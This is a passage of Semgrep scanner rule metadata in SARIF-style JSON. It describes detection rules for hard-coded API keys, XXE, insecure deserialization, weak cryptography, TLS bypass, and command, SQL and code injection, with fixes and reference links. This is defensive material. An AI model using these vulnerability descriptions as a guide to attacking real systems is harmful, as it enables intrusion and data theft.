Rule](https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Kolide API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","id":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","name":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","id":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","name":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","id":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","name":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","id":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","name":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","id":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","name":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password","id":"python.requests.python-requests-empty-password.python-requests-empty-password","name":"python.requests.python-requests-empty-password.python-requests-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-empty-password.python-requests-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.php.net/password_hash](https://www.php.net/password_hash)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password","id":"php.lang.security.md5-used-as-password.md5-used-as-password","name":"php.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"help":{"markdown":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n","text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","id":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","name":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf](https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-](https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection","id":"java.spring.security.audit.spel-injection.spel-injection","name":"java.spring.security.audit.spel-injection.spel-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spel-injection.spel-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","id":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","name":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","id":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","name":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","id":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","name":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user 